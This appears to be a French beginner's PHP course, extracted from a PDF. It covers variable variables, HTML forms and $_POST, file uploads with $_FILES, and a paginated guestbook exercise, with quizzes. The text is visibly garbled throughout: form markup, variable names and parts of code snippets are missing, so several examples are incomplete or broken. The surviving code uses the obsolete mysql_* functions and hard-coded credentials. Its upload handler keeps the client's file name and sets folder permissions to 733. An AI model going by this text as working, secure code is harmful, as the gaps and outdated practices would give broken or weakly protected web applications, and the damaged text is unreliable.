Essayer !
A noter qu'il existe strtoupper qui fait la même chose en sens inverse : minuscules => majuscules.
Il s'agit d'un truc qui va paraître bien tiré par les cheveux au premier abord. Mais, moi qui ne savais pas que ça
existait, quand j'ai découvert que PHP savait faire ce genre de trucs j'étais vraiment aux anges
Normalement vous êtes capables d'écrire ce code non ? Je pense que vous utiliseriez des conditions :
Code : PHP
<?php
if ($afficher == 'ville')
{
echo $ville;
}
elseif ($afficher == 'pays')
{
echo $pays;
}
elseif ($afficher == 'continent')
{
echo $continent;
}
?>
Taratata... C'est lourd, c'est répétitif, et souvent vous n'aurez pas un problème avec 3 variables mais plutôt 300. Je
vous vois mal faire 300 "if" dans votre code
La solution ? Demander à PHP d'afficher le contenu d'une variable en fonction d'une autre variable.
Pour cela, on utilisera un dollar suivi d'accolades (${}). En fait, on écrira ${$afficher}.
$afficher sera remplacé par sa valeur (par exemple "ville"), et du coup PHP comprendra qu'il s'agit de la variable $ville
!
Vu que vous êtes sceptiques (on l'est forcément quand on vient de lire les atrocités tordues que je viens de vous
sortir), voici un code source qui fonctionne comme le précédent :
Code : PHP
<?php
$afficher = 'ville'; // Modifiez la valeur de $afficher pour voir...
Essayer !
Je reconnais que c'est difficile à expliquer avec des mots, et pour une fois (je dis bien pour une fois), je crois que c'est
plus simple à comprendre en lisant le code source
Donc, lisez et relisez bien ce code, vous allez rapidement comprendre comment ça marche. Et surtout, faites des tests
chez vous : mettez par exemple $afficher = "pays" pour voir ce que ça fait
On peut aller plus loin. Entre les accolades, vous pouvez mettre le texte que vous voulez, utilisez juste une
concaténation dedans !
Q.C.M.
<?php
$debut_phrase = 'Je suis un ';
$animal = 'chat';
$phrase = $debut_phrase . $animal;
?>
Je suis un animal
chat Je suis un
Je suis un chat
<?php
$texte = 'Hola, mollo amigo !';
$replace = str_replace('o', 'a', $texte);
?>
<?php
$texte = 'Je suis ';
$texte .= 'un Zér0';
echo $texte;
?>
Je suis un Zér0
un Zér0 je suis
$texte
<?php
$texte = 'Mais ?
Quoi ?
ceil
stripslashes
nl2br
<?php
$texte = 'Ca ne me fait pas peur de compter';
$compte = strlen($texte);
?>
35
32
33
<?php
$texte_debut = 'Coucou ! ';
$texte_debut = 'J\'ai acheté ';
$achat = 'chaise';
$armoire = 'une armoire de Louis XIV';
$chaise = 'une chaise du 12eme siècle';
echo $texte_debut . ${$achat};
?>
Correction !
Les variables variables, c'est quelques chose d'un peu plus particulier. Retenez juste que ça existe, et si un jour vous
en avez besoin retournez lire ce chapitre pour savoir comment on fait
Plus d'informations
Une des applications les plus intéressantes du PHP est que l'on peut travailler sur des formulaires, et de manière très
puissante.
Les formulaires sont le seul et unique moyen pour vos visiteurs de rentrer des informations sur votre site, donc de
produire l'interactivité.
Regardez par exemple, sur un forum on doit rentrer du texte puis cliquer sur un bouton pour envoyer son message. Sur
un livre d'or, sur un mini-chat, pareil. On a besoin des formulaires partout.
Vous allez voir qu'il y a de nombreux rappels de HTML dans ce chapitre... Et ce n'est pas un hasard : ici le PHP et le
HTML sont très liés.
A quoi sert PHP dans l'histoire ? Il va nous permettre de traiter les données qu'a rentré l'utilisateur. Cela va nous servir
de base pour tous nos prochains TP (livre d'or, news...) donc soyez attentifs.
Go !
Sommaire du chapitre :
Fonctionnement du formulaire
Les éléments du formulaire
Petit exercice
L'envoi de fichiers
Q.C.M.
Fonctionnement du formulaire
En HTML, pour dire qu'on va insérer un formulaire on se sert de la balise <form>. On l'utilise de la manière suivante :
Code : HTML
<p>
On mettra ici les éléments de notre formulaire.<br />
Notez qu'il n'y a pour l'instant pas de PHP.
</p>
</form>
Ce qu'il faut retenir, c'est qu'on met le contenu de notre formulaire entre les balises <form> et </form>
Il y a 2 attributs intéressants à connaître pour la balise <form> :
method="post" : il faut savoir qu'il y a plusieurs moyens d'envoyer le formulaire (plusieurs "méthodes"). Ne
retenez que la méthode "post", c'est la seule qui nous intéressera en PHP. Vous devrez donc toujours mettre
method="post" pour vos formulaires !
action="cible.php" : très important. C'est le nom de la page qui sera appelée lorsque l'utilisateur aura envoyé
son formulaire (lorsqu'il aura cliqué sur "Envoyer" quoi ).
Par exemple, le code précédent est situé sur la page formulaire.php ; une fois le formulaire envoyé, ça charge
la page cible.php dans laquelle on traitera les informations.
Retenez donc bien que vous travaillez normalement sur 2 pages différentes : la page qui contient le formulaire
(formulaire.php dans notre exemple), et celle qui reçoit les données du formulaire pour les traiter (cible.php).
Mais du coup vous devez vous demander quelque chose : pour les TP "mot de passe" et "mini-chat", n'a-t-on pas utilisé
une seule et même page ? Eh oui en effet, la page cible était la même page que celle où il y avait le formulaire. Par
exemple, on avait mis le formulaire dans minichat.php, mais aussi le traitement des données dans la même page (car
on avait un action="minichat.php" qui renvoyait sur la même page).
Du coup les choses devraient devenir plus claires dans votre tête :
La première fois que le mini-chat est chargé, on vérifie si des variables renvoyées par le formulaire comme
$_POST['pseudo'] existent (c'est à ça que sert isset). Comme la première fois qu'on a chargé la page on n'a rien
rentré dans le formulaire, on sait qu'on ne doit pas écrire d'informations dans la base de données (on saute le
if).
Quand on a rentré un message, la page se recharge mais cette fois avec des informations du formulaire entrées
par l'utilisateur (comme le pseudo). Du coup, $_POST['pseudo'] existe, DONC on sait qu'on doit enregistrer
quelque chose.
Dans la pratique, vous verrez qu'on préfère utiliser deux pages distinctes car c'est plus simple à gérer (ça nous
épargne le isset). Mais souvent, vous serez contraints à travailler sur une même page, donc à utiliser la même
technique que dans les TP précédents.
Si vous vous souvenez bien, on avait très rapidement parlé des formulaires avec zone de texte dans le chapitre sur les
variables. Je vous avais promis qu'on reviendrait dessus plus tard et qu'on verrait tous les éléments de formulaires que
l'on peut traiter avec PHP.
Ce moment est enfin venu
Pour les mots de passe, vous pouvez utiliser type="password", ce qui aura pour effet de cacher le texte rentré
par le visiteur.
Mais il y a 2 attributs que vous allez devoir rajouter qui vous seront très importants :
name : c'est le nom de la zone de texte. Choisissez-le bien, car c'est lui qui va produire une variable. Par
exemple :
Oui, je sais que vous commencez à vous inquiéter car vous n'avez pas encore vu de PHP pour le moment et vous
craignez ce qui risque de vous tomber sur la tronche.
Rassurez-vous, vous ne risquez rien
En fait, c'est tout bête : le texte que le visiteur aura rentré sera disponible dans cible.php sous la forme d'une variable
appelée $_POST['pseudo'].
Et je ne vous apprends rien d'extraordinaire, on avait déjà vu ça dans le chapitre sur les variables. D'ailleurs, pour
l'exemple, je ne vais pas m'amuser à en faire un nouveau, je vous ressors celui que je vous avais fait (comment ça
"feignasse" ? :p)
Code : HTML
<p>
Cette page, elle aussi, ne contient que du HTML.<br />
Veuillez taper votre prénom :
</p>
Code : PHP
<p>Bonjour !</p>
<p>Je sais comment tu t'appelles, hé hé. Tu t'appelles <?php echo $_POST['prenom']; ?>
<p>Si tu veux changer de prénom, <a href="3.3.1.php">clique ici</a> pour revenir à appel.php
Essayer !
Dans cible.php on a affiché une variable $_POST['prenom'] qui contient ce que l'utilisateur a rentré dans le formulaire.
Comme il s'agissait d'un exemple des premiers chapitres du cours, je n'y avais pas encore parlé de
htmlspecialchars(pour rendre le html inoffensif). Mais, par sécurité, vous DEVEZ appliquer un htmlspecialchars à la
variable $_POST['prenom']. D'ailleurs, si vous testez mon exemple, vous verrez que moi j'ai pris la précaution
d'appliquer un htmlspecialchars !
L'utilisation de la fonction mysql_real_escape_string n'est pas nécessaire ici. Vous n'en avez besoin que lorsque vous
devez exécuter une requête SQL avec cette variable, ce qui n'est pas le cas ici.
De même, pour en revenir au mini-chat, on peut sans problème réécrire le pseudo dans le champ "pseudo" si la variable
$_POST['pseudo'] existe. Ce qui nous donnerait quelque chose du genre :
Code : PHP
/>
En gros, on a mis du PHP en plein milieu de la balise <input /> (oui oui on a tout à fait le droit).
SI on a le pseudo du visiteur, ALORS on rajoute l'attribut value="Le pseudo", ce qui fera que la zone de texte sera
pré-remplie
N'oubliez surtout pas de mettre le /> tout à la fin pour fermer la balise <input />
Vous reconnaîtrez entre autres l'intérêt des apostrophes et de la concaténation pour séparer le texte des variables.
Grâce à ça on n'a pas eu à mettre d'antislash devant les guillemets.
La grosse zone de texte (qu'on appelle aussi "Zone de saisie multiligne" ), ça ressemble à ceci :
On peut y écrire autant de lignes que l'on veut. C'est plus adapté si le visiteur doit écrire un long message par
exemple.
On va utiliser le code HTML suivant pour insérer cette grosse zone de texte :
Code : HTML
Là encore, on a un attribut name qui va définir le nom de la variable qui sera créée dans cible.php. Dans notre cas, ce
sera la variable $_POST['message'].
Chose plus particulière : il n'y a pas d'attribut value. En fait, le texte par défaut est ici écrit entre le <textarea> et le
</textarea>. C'est plus pratique du coup pour faire un echo au milieu
Si vous ne voulez rien mettre par défaut, alors n'écrivez rien entre <textarea> et </textarea>
La liste déroulante
Code : HTML
<select name="choix">
<option value="choix1">Choix 1</option>
<option value="choix2">Choix 2</option>
<option value="choix3">Choix 3</option>
<option value="choix4">Choix 4</option>
</select>
Tout bêtement, on utilise la balise <select> à laquelle on donne un nom (ici : "choix").
On écrit les différentes options disponibles...
Puis on referme la balise avec </select>.
Ici, une variable $_POST['choix'] sera créée, et elle contiendra le choix qu'a fait l'utilisateur. S'il a choisi "Choix 3", la
variable $_POST['choix'] sera égale au value correspondant, c'est-à-dire "choix3".
Un truc important qu'il peut être utile de savoir faire, c'est de définir le choix par défaut. Normalement c'est le
premier, mais si vous rajoutez l'attribut selected="selected" à une balise <option>, alors ce sera le choix par défaut.
On pourrait par exemple écrire :
Code : HTML
Là encore, on donne un nom à la case à cocher (ici : "case"). Ce nom va générer une variable dans la page cible, par
exemple $_POST['case'].
Si vous voulez que la case soit cochée par défaut, il faudra lui rajouter l'attribut checked="checked". Par exemple :
Code : HTML
Comme vous pouvez le voir, les deux boutons d'option ont le même nom ("frites"). C'est très important, car les boutons
d'options fonctionnent par "groupes" : tous les boutons d'option d'un même groupe ont le même nom.
Cela permet au navigateur de savoir quels boutons d'option désactiver quand on active un autre bouton d'option du
groupe. Il serait bête en effet de pouvoir sélectionner "Oui" et "Non" à la fois
Pour pré-cocher l'un de ces boutons d'option, vous faites pareil que pour les cases à cocher : vous rajoutez un checked.
Ici, comme vous pouvez le voir, "Oui" est sélectionné par défaut.
Dans la page cible, une variable $_POST['frites'] sera créée. Elle aura la valeur du bouton d'option choisi par le visiteur.
Si on aime les frites, alors on aura $_POST['frites'] = 'oui'.
Il faut bien penser à remplir l'attribut "value" du bouton d'option car c'est lui qui va déterminer la valeur de la variable
Si y'a un truc bien pratique avec les formulaires et php, ce sont les champs cachés
En quoi ça consiste ? C'est un code dans votre formulaire qui n'apparaîtra pas aux yeux du visiteur, mais qui va quand
même créer une variable avec une valeur.
Je m'explique : supposons que vous ayez besoin de "retenir" que le pseudo du visiteur est "Mateo21". Vous allez taper
ce code :
Code : HTML
C'est apparemment inutile, mais vous verrez que lorsque vous commencerez à créer des formulaires vous en aurez vite
besoin
Petit exercice
Pour s'entraîner, on va travailler sur une liste déroulante. On va demander au visiteur quelle est sa couleur préférée.
Lorsqu'il aura choisi, on doit arriver à faire 2 choses :
On va faire appel à un vieux truc qu'on n'a pas utilisé depuis la partie I : les fonctions que vous pouvez définir
vous-même. On va définir une fonction appelée choixParDefaut qui va renvoyer 'selected' si la couleur qu'on lui donne
est bien le choix de l'utilisateur, ou qui ne renvoie rien si ce n'est pas sa couleur préférée.
Code : PHP
<?php
function choixParDefaut($couleur) // Création de la fonction
{
$par_defaut = ''; // On crée une variable (vide par défaut) que l'on retournera à la fin
<form method="post">
<p>
<select name="couleur">
<option value="Bleu" <?php echo choixParDefaut('Bleu'); ?>>Le Bleu</option>
<option value="Marron" <?php echo choixParDefaut('Marron'); ?>>Le Marron</option>
<option value="Vert" <?php echo choixParDefaut('Vert'); ?>>Le Vert</option>
<option value="Rose" <?php echo choixParDefaut('Rose'); ?>>Le Rose</option>
</select>
<input type="submit" value="OK" />
</p>
</form>
Essayer !
Pourquoi ? Parce que j'ai "juste" utilisé une fonction, et c'est quelque chose que je vous ai appris dans un des premiers
chapitres de ce cours de PHP !!!
Donc, en toute logique, vous devriez être capables de comprendre tout cela.
Je vais quand même vous expliquer rapidement comment ça marche, j'ai pas envie que vous me jetiez des tomates
pour ça.
En gros, oubliez le haut de ce code. Regardez après le commentaire "Fin de la fonction". Si l'utilisateur a fait un choix,
alors on affiche quelle est sa couleur préférée.
Alerte rouge : quand vous affichez les résultats d'un formulaire, prenez l'habitude de TOUJOURS appliquer un
htmlspecialchars. Et quand je dis toujours, c'est tout le temps : même sur une liste déroulante ou un champ caché, un
Ensuite, on affiche notre formulaire tout bête. Comme on veut recharger la même page, je n'ai pas mis d'attribut
action.
Pour chaque option, j'affiche ce que me renvoie ma fonction choixParDefaut quand je lui donne la couleur 'Vert' par
exemple. Soit la fonction renvoie 'selected="selected"', dans ce cas on affiche selected et ce sera le choix par défaut,
soit la fonction ne renvoie rien, donc ce ne sera pas le choix par défaut.
Si vous ne comprenez pas bien comment marche ma fonction, je vous conseille vivement de relire le chapitre sur les
fonctions.
N'hésitez pas à passer un peu de temps sur ce code pour comprendre comment il marche, car je le trouve très
intéressant. Si vous avez compris ça, vous avez tout compris
L'envoi de fichiers
Vous saviez qu'on pouvait aussi envoyer des fichiers grâce aux formulaires ?
Vous aurez besoin de lire cette section si vous voulez que vos visiteurs puissent envoyer (on dit aussi uploader) des
images, des programmes ou tout autre type de fichier sur votre site.
1. Le visiteur arrive sur votre formulaire et le remplit (en indiquant le fichier à envoyer). Une simple page HTML
suffit pour créer le formulaire.
2. PHP réceptionne les données du formulaire et, s'il y a des fichiers dedans, il les "enregistre" dans un des dossiers
du serveur.
Attention : l'envoi du fichier peut être un peu long si celui-ci est gros. Il faudra dire au visiteur de ne pas
s'impatienter pendant l'envoi.
On va commencer par créer le formulaire permettant d'envoyer un fichier (une simple page HTML).
Nous verrons ensuite comment traiter l'envoi du fichier côté serveur avec PHP.
Dès l'instant où votre formulaire propose aux visiteurs d'envoyer un fichier, il faut ajouter l'attribut
à la balise
Code : HTML
Grâce à enctype, le navigateur du visiteur sait qu'il s'apprête à envoyer des fichiers.
Maintenant que c'est fait, nous pouvons ajouter à l'intérieur du formulaire une balise permettant d'envoyer un fichier.
C'est une balise très simple de type . Il faut penser comme toujours à donner un nom à ce
champ de formulaire (grâce à l'attribut ) pour que PHP puisse reconnaître le champ après.
Code : HTML
Vous pouvez ajouter d'autres champs plus classiques au formulaire (champ de texte, cases à cocher). Vous pouvez aussi
proposer d'envoyer plusieurs fichiers en même temps.
Là on va se contenter d'un seul champ (envoi de fichier) pour rester simple.
Comme vous avez dû le remarquer, le formulaire pointe vers une page PHP qui s'appelle . Le visiteur
sera donc redirigé sur cette page après l'envoi du formulaire.
C'est maintenant que ça devient important. Il faut que l'on écrive le code de la page pour traiter
l'envoi du fichier.
En fait, au moment où la page PHP s'exécute, le fichier a été envoyé sur le serveur mais il est stocké dans un dossier
temporaire.
C'est à vous de décider si vous acceptez définitivement le fichier ou non. Vous pouvez par exemple vérifier si le fichier
a la bonne extension (si vous demandiez une image et qu'on vous envoie un ".txt", vous devrez refuser le fichier).
Pour chaque fichier envoyé, une variable est créée. Dans notre cas, la variable s'appellera
.
Cette variable est un tableau qui contient plusieurs informations sur le fichier :
Variable Signification
Indique le type du fichier envoyé. Si c'est une image gif par exemple, le type sera
.
Indique la taille du fichier envoyé. Attention : cette taille est en octets. Il faut environ
1 000 octets pour faire 1 Ko, et 1 000 000 octets pour faire 1 Mo.
Attention, la taille de l'envoi est limitée par PHP. Par défaut, il est impossible
d'uploader des fichiers de plus de 8 Mo.
Variable Signification
Juste après l'envoi, le fichier est placé dans un répertoire temporaire sur le serveur en
attendant que votre script PHP décide si oui ou non il accepte de le stocker
définitivement. Cette variable contient l'emplacement temporaire du fichier (c'est PHP
qui gère ça).
Contient un code d'erreur permettant de savoir si l'envoi s'est bien effectué ou s'il y a
eu un problème, et si oui lequel.
La variable vaut 0 s'il n'y a pas eu d'erreur.
Si vous avez mis un second champ d'envoi de fichier dans votre formulaire, il y aura une seconde variable
découpée de la même manière que le tableau qu'on vient de voir là.
contiendra ainsi la taille du second fichier, et ainsi de suite.
Je vous propose de faire les vérifications suivantes pour décider si on accepte le fichier ou non :
1. Vérifier tout d'abord si le visiteur a bien envoyé un fichier (en testant la variable avec
isset) et s'il n'y a pas eu d'erreur d'envoi (grâce à )
2. Vérifier si la taille du fichier ne dépasse pas 1 Mo par exemple (environ 1 000 000 d'octets) grâce à
3. Vérifier si l'extension du fichier est autorisée (il faut interdire à tout prix que les gens puissent envoyer des
fichiers PHP, sinon ils pourraient exécuter des scripts sur votre serveur !). Dans notre cas, nous autoriserons
seulement les images (fichiers .png, .jpg, .jpeg et .gif).
Nous analyserons pour cela la variable .
Nous allons donc faire une série de tests dans notre page cible_envoi.php.
On commence par vérifier qu'un fichier a été envoyé en testant si la variable $_FILES['monfichier'] existe avec isset().
On vérifie dans le même temps s'il n'y a pas d'erreur d'envoi.
Code : PHP
<?php
// Testons si le fichier a bien été envoyé et s'il n'y a pas d'erreur
if (isset($_FILES['monfichier']) AND $_FILES['monfichier']
['error'] == 0)
{
}
?>
On veut interdire que le fichier dépasse 1 Mo, soit environ 1 000 000 d'octets (j'arrondis pour simplifier). On doit donc
tester $_FILES['monfichier']['size'] :
Code : PHP
<?php
// Testons si le fichier a bien été envoyé et s'il n'y a pas d'erreur
if (isset($_FILES['monfichier']) AND $_FILES['monfichier']
['error'] == 0)
{
// Testons si le fichier n'est pas trop gros
if ($_FILES['monfichier']['size'] <= 1000000)
{
}
}
?>
Code : PHP
<?php
$infosfichier = pathinfo($_FILES['monfichier']['name']);
$extension_upload = $infosfichier['extension'];
?>
Une fois l'extension récupérée, on peut la comparer à un tableau d'extensions autorisées (un array) et vérifier si
l'extension récupérée fait bien partie des extensions autorisées à l'aide de la fonction in_array().
Code : PHP
<?php
// Testons si le fichier a bien été envoyé et s'il n'y a pas d'erreur
if (isset($_FILES['monfichier']) AND $_FILES['monfichier']
['error'] == 0)
{
// Testons si le fichier n'est pas trop gros
if ($_FILES['monfichier']['size'] <= 1000000)
{
// Testons si l'extension est autorisée
$infosfichier = pathinfo($_FILES['monfichier']['name']);
$extension_upload = $infosfichier['extension'];
$extensions_autorisees = array('jpg', 'jpeg', 'gif', 'png');
if (in_array($extension_upload, $extensions_autorisees))
{
}
}
}
?>
Code : PHP
<?php
// Testons si le fichier a bien été envoyé et s'il n'y a pas d'erreur
if (isset($_FILES['monfichier']) AND $_FILES['monfichier']['error'] == 0)
{
// Testons si le fichier n'est pas trop gros
if ($_FILES['monfichier']['size'] <= 1000000)
{
// Testons si l'extension est autorisée
$infosfichier = pathinfo($_FILES['monfichier']['name']);
$extension_upload = $infosfichier['extension'];
$extensions_autorisees = array('jpg', 'jpeg', 'gif', 'png');
if (in_array($extension_upload, $extensions_autorisees))
{
// On peut valider le fichier et le stocker
définitivement
move_uploaded_file($_FILES['monfichier']['tmp_name'], 'uploads/' .
basename($_FILES['monfichier']['name']));
echo "L'envoi a bien été effectué !";
}
}
}
?>
Lorsque vous mettrez le script sur le net à l'aide d'un logiciel FTP, vérifiez que le dossier "uploads" sur le
serveur existe et qu'il a les droits d'écriture. Pour ce faire, sous Filezilla par exemple, faites un clic droit sur le dossier
et choisissez "Attributs du fichier".
Cela vous permettra d'éditer les droits du dossier (on parle de CHMOD). Mettez les droits à 733, ainsi PHP pourra
placer des fichiers uploadés dans ce dossier.
Ce script est un début, mais en pratique il vous faudra sûrement encore l'améliorer. Par exemple, si le nom du fichier
contient des espaces ou des accents ça posera un problème une fois envoyé sur le web. D'autre part, si quelqu'un
envoie un fichier qui a le même nom que celui d'une autre personne, l'ancien sera écrasé !
La solution consiste en général à "choisir" nous-mêmes le nom du fichier stocké sur le serveur plutôt que de se servir du
nom d'origine. Vous pouvez faire un compteur qui s'incrémente : 1.png, 2.png, 3.jpg, etc.
Soyez toujours très vigilants sur la sécurité, vous devez éviter que quelqu'un puisse envoyer des fichiers PHP sur
votre serveur.
Pour aller plus loin, je vous recommande de lire le tutoriel de DHKold sur l'upload de fichiers par formulaire. Il est plus
complet que le mien et vous expliquera mieux certains détails.
Bonne lecture
Q.C.M.
$_POST['ville']
$ville
$_POST['text']
Quelle sera la variable créée, et quelle sera sa valeur, si on ne change pas le texte par défaut de la grosse
zone de texte ci-dessous ?
Code : HTML
$_POST['news'] = NULL;
Quel est l'attribut à rajouter à une case à cocher pour qu'elle soit cochée par défaut ?
selected
checked
signed
Quelle est la valeur d'une variable correspondant à une case à cocher cochée ?
checked
on
Correction !
TP : un livre d'or
Plus d'informations
Comme je vous l'avais promis, la partie III sera riche en TP. On va en enchaîner plusieurs à la suite
Pourquoi tout d'un coup autant de TP ? Parce que vous venez tout juste de franchir un "cran" dans l'apprentissage PHP :
à peu de choses près, vous êtes capables d'écrire les scripts les plus courants (livre d'or, news, sondage...)
Bien entendu, je vais continuer à vous guider à chaque fois pour que vous ne partiez pas dans toutes les directions,
mais vous allez voir que petit à petit vous n'aurez (presque) plus besoin de mon aide
On va donc dans ce TP écrire un livre d'or pour votre site. Ainsi, les visiteurs pourront laisser une trace de leur passage,
et ça valorisera d'autant plus votre site
Etape 1 : prérequis
Ce que vous avez appris dans le chapitre précédent sur les formulaires est très important. N'hésitez pas à vous y
reporter, car c'est en combinant les formulaires et MySQL que vous créerez des scripts très puissants !
Comme d'habitude, on n'attaque jamais un script PHP avant de l'avoir préparé : on doit réfléchir à son fonctionnement
si on ne veut pas se retrouver complètement perdus dans notre code.
On doit d'abord se demander quelles seront les fonctionnalités de notre livre d'or. Quand un visiteur va arriver dessus,
que va-t-il pouvoir faire ? Il peut laisser son pseudo et un message, il sera enregistré dans une table comme tous les
autres.
Commençons par créer cette table justement. On va l'appeler "livreor", et elle aura 3 champs :
id : comme d'habitude, on crée un id pour numéroter chaque champ. Cet id a le type INT dans MySQL et j'ai
sélectionné "Primaire" comme je vous avais dit de faire pour les champs id. Par ailleurs, j'ai choisi "auto
increment" pour que le numéro d'id s'inscrive automatiquement à chaque nouvelle entrée.
pseudo : c'est le pseudo du visiteur. Il est de type VARCHAR, et il ne faut pas oublier de préciser sa "taille"
lorsque vous créez la table : une taille de 255 me semble suffisante (vous n'avez pas des pseudos de 256
caractères dites-moi ? o_O)
message : on y stocke le message qu'a laissé le visiteur. Ce champ est de type TEXT.
Je propose qu'on mette en haut de la page le formulaire, puis juste en-dessous la liste des messages... Ce qui devrait
vous faire très fortement penser au Mini-Chat !
Voici un aperçu de ce que vous devez pouvoir réaliser :
Encore une fois, c'est moche je vous l'accorde. Mais le design, c'est très facile à réaliser (une couleur de fond, une
image et c'est bon :p).
Nous, ce qui nous intéresse c'est d'arriver à faire marcher le code. Vous aurez tout le loisir de rajouter des fioritures
après, croyez-moi
Pour l'enregistrement, c'est comme pour le Mini Chat. Par mesure de sécurité, il ne faut pas oublier le htmlspecialchars
ainsi que le mysql_real_escape_string (car on va utiliser les variables dans des requêtes SQL).
Bon, vous avez certainement remarqué la principale différence entre le Mini Chat et le livre d'or : ici on ne veut pas
afficher juste les 10 derniers messages, on veut TOUS les afficher. Et tous sur une même page ça fait beaucoup. Donc,
on va créer automatiquement des pages pour qu'il y ait par exemple 20 messages par page.
Cela peut vous sembler flou : comment "créer" automatiquement des pages en PHP ? Vous allez voir, ce n'est peut-être
pas ce à quoi vous vous attendiez
1. On récupère le nombre total des messages ($totalDesMessages) grâce à la requête MySQL que je vous ai
apprise.
2. On calcule le nombre de pages qu'il y aura. Comment ? Avec une bête division mathématique !
Exemple : si on a 100 messages, et qu'on veut 20 messages par page. On calcule 100 / 20 = 5 pages ! Tout bête
n'est-ce pas
Vous devez, bien sûr, donner d'abord une valeur à $nombreDeMessagesParPage. Moi je mettrai 20 par
exemple, mais vous mettez ce que vous voulez. L'avantage, c'est que si vous voulez changer plus tard le nombre
de message par page, vous aurez juste à modifier la valeur de la variable !
Mais... mais... s'il y a 102 messages par exemple, 102 / 20 = 5.1 pages ! Or, on ne peut pas avoir 5.1 pages,
donc il va falloir créer une sixième page qui ne contiendra que 2 messages.
Il y a une fonction PHP mathématique qui va bien nous aider : ceil. Elle renvoie le nombre entier supérieur : si
on lui donne 5.1, elle va renvoyer 6 ! C'est exactement ce qu'il nous faut ! Donc, pour être sûrs du nombre exact
de pages à créer, il faudra plutôt utiliser l'instruction suivante :
3. Maintenant qu'on a le nombre de pages, on va écrire tous les liens vers chacune de ces pages (1 2 3 4 5 6...).
Lorsqu'on cliquera sur un de ces numéros, ça amènera à la page correspondante.
Il suffit de faire une boucle For (ou While, comme vous voulez :p) qui va écrire tous ces nombres à la suite, de 1
à $nombreDePages. Comme ça, on aura écrit 1 2 3 4 si on a 4 pages dans notre livre d'or !
4. Mais vers quelle page amène chacun de ces liens ? En fait, on va réouvrir la même page, mais avec un
paramètre différent. On va rajouter un ?page=4 par exemple si on veut aller à la page 4. Si la page du livre d'or
s'appelle "livreor.php", le lien vers la page 4 sera donc :
Si je prends l'aperçu du livre d'or que je vous ai montré tout à l'heure, voici par exemple les liens vers les pages 3 et 8
:
On ne va pas créer un fichier PHP différent pour chaque page (je suis pas fou à ce point ). Simplement, il y aura
une variable $_GET['page'] qui va indiquer à quelle page on se trouve. Notre script saura afficher les messages de cette
page tout seul !
Pensez à vérifier si $_GET['page'] existe. Si ce n'est pas le cas, alors c'est la première fois que le visiteur charge
le livre d'or : mettez-le sur la page 1 (la plus récente).
Bon, j'ai récupéré le nombre total de messages et j'ai écrit les liens vers chacune de ces pages avec une
boucle. Je fais comment pour afficher juste les messages de la page ?
Souvenez-vous : $_GET['page'] est une variable qui contient le numéro de la page que le visiteur est en train de lire. Il
suffit de modifier la requête SQL, en utilisant LIMIT. Et n'oubliez pas qu'on veut afficher les messages dans l'ordre
décroissant (le plus récent en premier).
Il va donc falloir réfléchir un petit peu à la requête SQL... Je ne vous donne pas la réponse, il faut que vous cherchiez
vous-même.
Pour info, j'ai dû réfléchir bien 5 minutes avant de trouver la requête... Eh oui, contrairement aux apparences je ne
suis pas un robot : comme vous je dois réfléchir un peu avant d'arriver à faire marcher mes scripts
Pfiou ! Je vous ai décortiqué tout le problème, vous avez les bases qu'il faut pour écrire le script
Ah, et n'ayez pas peur de créer d'autres variables si nécessaire. C'est un bon moyen de simplifier un problème parfois !
Etape 4 : correction
On corrige maintenant ?
Code : PHP
<style type="text/css">
form, .pages
{
text-align:center;
}
</style>
</head>
<body>
<p class="pages">
<?php
mysql_connect("localhost", "sdz", "mot_de_passe");
mysql_select_db("coursphp");
// On met dans une variable le nombre de messages qu'on veut par page
$nombreDeMessagesParPage = 20; // Essayez de changer ce nombre pour voir :o)
// On récupère le nombre total de messages
$retour = mysql_query('SELECT COUNT(*) AS nb_messages FROM livreor');
$donnees = mysql_fetch_array($retour);
$totalDesMessages = $donnees['nb_messages'];
// On calcule le nombre de pages à créer
$nombreDePages = ceil($totalDesMessages / $nombreDeMessagesParPage);
// Puis on fait une boucle pour écrire les liens vers chacune des pages
echo 'Page : ';
for ($i = 1 ; $i <= $nombreDePages ; $i++)
{
echo '<a href="livreor.php?page=' . $i . '">' . $i . '</a> ';
}
?>
Essayer !
Veuillez noter : j'ai volontairement désactivé l'ajout de messages sur cet exemple de livre d'or afin d'éviter que ça ne
devienne un bazar sans nom
Vous pouvez donc lire les messages mais pas en ajouter. Testez ce script en local avec WAMP, et vous verrez qu'il
marche bien entendu
Bien entendu, je ne doute pas que 90% d'entre vous ont eu du mal à arriver à finir ce script (ou ont bloqué quelque
part).
Je ne vous le répèterai jamais assez : il ne faut pas s'affoler, c'est normal. Le TP vous force à réfléchir, et la correction
vous permet de vous dire : "Ah oui ! C'était ça !".
C'est ça qui est vraiment enrichissant pour vous
1. Partie 1 : Si un message est envoyé, on l'enregistre : comme d'habitude, on vérifie si les variables
$_POST['pseudo'] et $_POST['message'] existent. Si c'est le cas, c'est que le visiteur vient d'envoyer un message.
On fait alors un mysql_real_escape_string et un htmlspecialchars sur chacune de ces variables pour éviter que
du HTML ne soit inscrit dans votre livre d'or. On utilise aussi un nl2br pour $_POST['message'] : en effet, si le
visiteur a tapé des Entrées dans le textarea, il faut utiliser nl2br comme je vous l'ai appris pour les transformer
en balises <br />
Après, il n'y a plus qu'à envoyer une requête à MySQL pour qu'il enregistre le message dans la table.
2. Partie 2 : On écrit les liens vers chacune des pages : bon là ça devient un peu plus chaud. Je vous ai pas mal
expliqué auparavant comment il fallait faire, je vais rapidement vous rappeler ce qu'il se passe.
1. On définit une variable $nombreDeMessagesParPage. J'ai choisi 20 messages par page. L'avantage
d'utiliser une variable pour retenir le nombre de messages par pages est évident : si vous décidez plus
tard de changer le nombre de messages par page, vous aurez juste à changer cette ligne et non pas tout
le code
2. On récupère le nombre de message total avec une requête SQL comme on l'a vu dans la partie II. On met
ce nombre dans $totalDesMessages
3. Puis, on calcule le nombre de pages à créer avec la division dont je vous ai parlé. Le ceil, permet, je
vous le rappelle, d'avoir un nombre de pages entier (et non pas 5.2 pages )
4. Enfin, on n'a plus qu'à faire une boucle pour écrire tous les numéros de page (et les liens qui vont avec).
J'ai choisi de faire une boucle for car c'est pratique dans ce cas, mais si vous avez fait un while c'est tout
aussi bon.
3. Partie 3 : Maintenant, on va afficher les messages : il reste une dernière petite difficulté, celle-là je vous avais
laissé la résoudre vous-mêmes (sinon autant vous donner la correction de suite ). On a 3 choses à faire :
1. On vérifie si $_GET['page'] existe (avec un isset). Si c'est le cas, on place ce numéro de page dans $page.
Si ce n'est pas le cas, c'est que l'adresse de la page est "livreor.php" (il n'y a pas de numéro de page
indiqué dans l'adresse). Alors, on donne la valeur 1 à $page.
2. Maintenant qu'on a un bon numéro de page dans $page, on doit calculer quelque chose pour la requête.
